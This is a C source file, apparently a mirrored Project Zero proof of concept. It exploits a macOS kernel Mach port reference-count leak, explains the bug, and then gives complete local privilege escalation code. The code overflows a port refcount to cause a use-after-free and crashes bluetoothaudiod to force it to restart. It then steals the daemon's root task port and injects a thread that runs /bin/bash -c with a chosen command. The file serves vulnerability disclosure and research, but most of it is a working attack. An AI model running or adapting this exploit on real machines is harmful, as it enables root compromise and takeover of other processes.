479 lines
No EOL
18 KiB
C
479 lines
No EOL
18 KiB
C
/*
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=941
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Proofs of Concept:
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/40956.zip
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The previous ref count overflow bugs were all kinda slow because they were quite deep in kernel code,
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a lot of mach message and MIG code had to run for each leak.
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There are a handful of mach operations which have their own fast-path syscalls (mach traps.)
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One of these is _kernelrpc_mach_port_insert_right_trap which lets us create a new mach
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port name in our process from a port we already have. Here's the code:
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int
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_kernelrpc_mach_port_insert_right_trap(struct _kernelrpc_mach_port_insert_right_args *args)
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{
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task_t task = port_name_to_task(args->target);
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ipc_port_t port;
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mach_msg_type_name_t disp;
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int rv = MACH_SEND_INVALID_DEST;
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if (task != current_task())
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goto done;
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rv = ipc_object_copyin(task->itk_space, args->poly, args->polyPoly,
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(ipc_object_t *)&port);
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if (rv != KERN_SUCCESS)
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goto done;
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disp = (args->polyPoly);
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rv = mach_port_insert_right(task->itk_space, args->name, port, disp);
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done:
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if (task)
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task_deallocate(task);
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return (rv);
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}
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ipc_object_copyin will look up the args->poly name (with the args->polyPoly rights)
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in the current process's mach port namespace and return an ipc_port_t pointer in port.
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If ipc_object_copyin is successful it takes a ref on the port and returns that ref to the caller.
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mach_port_insert_right will consume that reference but *only* if it succeeds. If it fails then
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no reference is consumed and we can leak one because _kernelrpc_mach_port_insert_right_trap
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doesn't handle the failure case.
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it's easy to force mach_port_insert_right to fail by specifying an invalid name for the new
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right (eg MACH_PORT_NULL.)
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This allows you to overflow the reference count of the port and cause a kernel UaF in about 20
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minutes using a single thread.
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################################################################################
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LPE exploit for the kernel ipc_port_t reference leak bug
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I wanted to explore some more interesting exploit primitives I could build with this bug.
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One idea I had was to turn a send right for a mach port into a receive right for that port.
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We can do this by using the reference count leak to cause a port for which we have a send right
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to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process
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which had a send right) and forcing the memory to be reallocated with a new port for which we
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hold a receive right.
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We could for example target a userspace IPC service and replace a send right we've looked up via
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launchd with a receive right allowing us to impersonate the service to other clients.
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Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case
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whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those
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messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is
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called directly. Those kernel-owned receive rights are however still ports and we can free them using
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the bug; if we can then get that memory reused as a port for which we hold a receive right we can
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end up impersonating the kernel to other processes!
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Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these
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services we can get other processes to send us their task ports and thus gain complete control over them.
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io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any
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IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients
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(or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService
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port and the message contains the sender's task port as the owningTask parameter :)
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For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened
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by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen.
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We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it
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parses XPC messages. This doesn't require bluetooth to be enabled.
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Putting this all together the flow of the exploit looks like this:
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* get a send right to the IOBluetoothHCIController IOService
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* overflow the reference count of that ipc_port to 0 and free it
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* allocate many new receive rights to reuse the freed ipc_port
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* add the new receive rights to a port set to simplify receiving messages
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* crash bluetoothaudiod forcing it to restart
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* bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService
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* bluetoothaudiod will send its task port to the IOService
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* the task port is actually sent to us as we have the receive right
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* we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND
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Tested on MacOS 10.12 16a323
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The technique should work exactly the same on iOS to get a task port for another process from the app sandbox.
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*/
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// ianbeer
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#if 0
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LPE exploit for the kernel ipc_port_t reference leak bug
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I wanted to explore some more interesting exploit primitives I could build with this bug.
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One idea I had was to turn a send right for a mach port into a receive right for that port.
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We can do this by using the reference count leak to cause a port for which we have a send right
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to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process
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which had a send right) and forcing the memory to be reallocated with a new port for which we
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hold a receive right.
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We could for example target a userspace IPC service and replace a send right we've looked up via
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launchd with a receive right allowing us to impersonate the service to other clients.
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Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case
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whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those
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messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is
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called directly. Those kernel-owned receive rights are however still ports and we can free them using
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the bug; if we can then get that memory reused as a port for which we hold a receive right we can
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end up impersonating the kernel to other processes!
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Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these
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services we can get other processes to send us their task ports and thus gain complete control over them.
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io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any
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IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients
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(or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService
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port and the message contains the sender's task port as the owningTask parameter :)
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For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened
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by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen.
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We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it
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parses XPC messages. This doesn't require bluetooth to be enabled.
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Putting this all together the flow of the exploit looks like this:
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* get a send right to the IOBluetoothHCIController IOService
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* overflow the reference count of that ipc_port to 0 and free it
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* allocate many new receive rights to reuse the freed ipc_port
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* add the new receive rights to a port set to simplify receiving messages
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* crash bluetoothaudiod forcing it to restart
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* bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService
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* bluetoothaudiod will send its task port to the IOService
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* the task port is actually sent to us as we have the receive right
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* we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND
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Tested on MacOS 10.12 16a323
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The technique should work exactly the same on iOS to get a task port for another process from the app sandbox.
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#endif
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <mach/mach.h>
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#include <mach/mach_vm.h>
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#include <xpc/xpc.h>
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#include <IOKit/IOKitLib.h>
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void run_command(mach_port_t target_task, char* command) {
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kern_return_t err;
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// allocate some memory in the task
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mach_vm_address_t command_addr = 0;
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err = mach_vm_allocate(target_task,
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&command_addr,
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0x1000,
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VM_FLAGS_ANYWHERE);
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if (err != KERN_SUCCESS) {
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printf("mach_vm_allocate: %s\n", mach_error_string(err));
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return;
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}
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printf("allocated command at %zx\n", command_addr);
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uint64_t bin_bash = command_addr;
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uint64_t dash_c = command_addr + 0x10;
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uint64_t cmd = command_addr + 0x20;
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uint64_t argv = command_addr + 0x800;
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uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0};
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err = mach_vm_write(target_task,
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bin_bash,
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"/bin/bash",
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strlen("/bin/bash") + 1);
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err = mach_vm_write(target_task,
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dash_c,
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"-c",
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strlen("-c") + 1);
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err = mach_vm_write(target_task,
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cmd,
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command,
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strlen(command) + 1);
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err = mach_vm_write(target_task,
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argv,
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argv_contents,
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sizeof(argv_contents));
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if (err != KERN_SUCCESS) {
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printf("mach_vm_write: %s\n", mach_error_string(err));
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return;
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}
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// create a new thread:
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mach_port_t new_thread = MACH_PORT_NULL;
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x86_thread_state64_t state;
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mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT;
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memset(&state, 0, sizeof(state));
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// the minimal register state we require:
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state.__rip = (uint64_t)execve;
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state.__rdi = (uint64_t)bin_bash;
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state.__rsi = (uint64_t)argv;
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state.__rdx = (uint64_t)0;
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err = thread_create_running(target_task,
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x86_THREAD_STATE64,
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(thread_state_t)&state,
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stateCount,
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&new_thread);
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if (err != KERN_SUCCESS) {
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printf("thread_create_running: %s\n", mach_error_string(err));
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return;
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}
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printf("done?\n");
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}
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void force_bluetoothaudiod_restart() {
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xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
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xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
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xpc_type_t t = xpc_get_type(event);
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if (t == XPC_TYPE_ERROR){
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printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
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}
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printf("received an event\n");
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});
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xpc_connection_resume(conn);
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xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
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xpc_dictionary_set_string(msg, "BTMethod", "BTCoreAudioPassthrough");
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xpc_connection_send_message(conn, msg);
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printf("waiting to make sure launchd knows the target has crashed\n");
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usleep(100000);
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printf("bluetoothaudiod should have crashed now\n");
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xpc_release(msg);
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// connect to the service again and send a message to force it to restart:
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conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
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xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
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xpc_type_t t = xpc_get_type(event);
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if (t == XPC_TYPE_ERROR){
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printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
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}
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printf("received an event\n");
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});
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xpc_connection_resume(conn);
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msg = xpc_dictionary_create(NULL, NULL, 0);
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xpc_dictionary_set_string(msg, "hello", "world");
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xpc_connection_send_message(conn, msg);
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printf("bluetoothaudiod should be calling IOServiceOpen now\n");
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}
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mach_port_t self;
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void leak_one_ref(mach_port_t overflower) {
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kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
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self,
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MACH_PORT_NULL, // an invalid name
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overflower,
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MACH_MSG_TYPE_COPY_SEND);
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}
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void leak_one_ref_for_receive(mach_port_t overflower) {
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kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
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self,
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MACH_PORT_NULL, // an invalid name
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overflower,
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MACH_MSG_TYPE_MAKE_SEND); // if you have a receive right
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}
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char* spinners = "-\\|/";
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void leak_n_refs(mach_port_t overflower, uint64_t n_refs) {
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int step = 0;
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for (uint64_t i = 0; i < n_refs; i++) {
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leak_one_ref(overflower);
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if ((i % 0x40000) == 0) {
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float done = (float)i/(float)n_refs;
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step = (step+1) % strlen(spinners);
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fprintf(stdout, "\roverflowing [%c] (%3.3f%%)", spinners[step], done * 100);
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fflush(stdout);
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}
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}
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fprintf(stdout, "\roverflowed \n");
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fflush(stdout);
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}
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// quickly take a release a kernel reference
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// if the reference has been overflowed to 0 this will free the object
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void inc_and_dec_ref(mach_port_t p) {
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// if we pass something which isn't a task port name:
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// port_name_to_task
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// ipc_object_copyin
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// takes a ref
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// ipc_port_release_send
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// drops a ref
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_kernelrpc_mach_port_insert_right_trap(p, 0, 0, 0);
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}
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/* try to get the free'd port replaced with a new port for which we have
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* a receive right
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* Once we've allocated a lot of new ports add them all to a port set so
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* we can just receive on the port set to find the correct one
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*/
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mach_port_t replace_with_receive() {
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int n_ports = 2000;
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mach_port_t ports[n_ports];
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for (int i = 0; i < n_ports; i++) {
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mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &ports[i]);
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}
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// allocate a port set
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mach_port_t ps;
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mach_port_allocate(self, MACH_PORT_RIGHT_PORT_SET, &ps);
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for (int i = 0; i < n_ports; i++) {
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mach_port_move_member( self, ports[i], ps);
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}
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return ps;
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}
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/* listen on the port set for io_service_open_extended messages :
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*/
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struct service_open_mig {
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mach_msg_header_t Head;
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/* start of the kernel processed data */
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mach_msg_body_t msgh_body;
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mach_msg_port_descriptor_t owningTask;
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mach_msg_ool_descriptor_t properties;
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/* end of the kernel processed data */
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NDR_record_t NDR;
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uint32_t connect_type;
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NDR_record_t ndr;
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mach_msg_type_number_t propertiesCnt;
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};
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void service_requests(mach_port_t ps) {
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size_t size = 0x1000;
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struct service_open_mig* request = malloc(size);
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memset(request, 0, size);
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printf("receiving on port set\n");
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kern_return_t err = mach_msg(&request->Head,
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MACH_RCV_MSG,
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0,
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size,
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ps,
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0,
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0);
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if (err != KERN_SUCCESS) {
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printf("error receiving on port set: %s\n", mach_error_string(err));
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return;
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}
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mach_port_t replaced_with = request->Head.msgh_local_port;
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printf("got a message on the port set from port: local(0x%x) remote(0x%x)\n", request->Head.msgh_local_port, request->Head.msgh_remote_port);
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mach_port_t target_task = request->owningTask.name;
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printf("got task port: 0x%x\n", target_task);
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run_command(target_task, "touch /tmp/hello_from_fake_kernel");
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printf("did that work?\n");
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printf("leaking some refs so we don't kernel panic");
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for(int i = 0; i < 0x100; i++) {
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leak_one_ref_for_receive(replaced_with);
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}
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}
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int main() {
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self = mach_task_self(); // avoid making the trap every time
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//mach_port_t test;
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//mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &test);
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// get the service we want to target:
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mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
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printf("%d : 0x%x\n", getpid(), service);
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// we don't know how many refs the port actually has - lets guess less than 40...
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uint32_t max_refs = 40;
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leak_n_refs(service, 0x100000000-max_refs);
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// the port now has a reference count just below 0 so we'll try in a loop
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// to free it, reallocate and test to see if it worked - if not we'll hope
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// that was because we didn't free it:
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mach_port_t fake_service_port = MACH_PORT_NULL;
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for (uint32_t i = 0; i < max_refs; i++) {
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inc_and_dec_ref(service);
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mach_port_t replacer_ps = replace_with_receive();
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// send a message to the service - if we receive it on the portset then we won:
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mach_msg_header_t msg = {0};
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msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
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msg.msgh_remote_port = service;
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msg.msgh_id = 0x41414141;
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msg.msgh_size = sizeof(msg);
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kern_return_t err;
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err = mach_msg(&msg,
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MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
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(mach_msg_size_t)sizeof(msg),
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0,
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MACH_PORT_NULL,
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MACH_MSG_TIMEOUT_NONE,
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MACH_PORT_NULL);
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printf("sending probe: %s\n", mach_error_string(err));
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mach_msg_empty_rcv_t reply = {0};
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mach_msg(&reply.header,
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MACH_RCV_MSG | MACH_RCV_TIMEOUT,
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0,
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|
sizeof(reply),
|
|
replacer_ps,
|
|
1, // 1ms
|
|
0);
|
|
|
|
if (reply.header.msgh_id == 0x41414141) {
|
|
// worked:
|
|
printf("got the probe message\n");
|
|
fake_service_port = replacer_ps;
|
|
break;
|
|
}
|
|
printf("trying again (%d)\n", i);
|
|
|
|
// if it didn't work leak another ref and try again:
|
|
leak_one_ref(service);
|
|
}
|
|
|
|
|
|
printf("worked? - forcing a root process to restart, hopefully will send us its task port!\n");
|
|
|
|
force_bluetoothaudiod_restart();
|
|
|
|
service_requests(fake_service_port);
|
|
|
|
return 0;
|
|
} |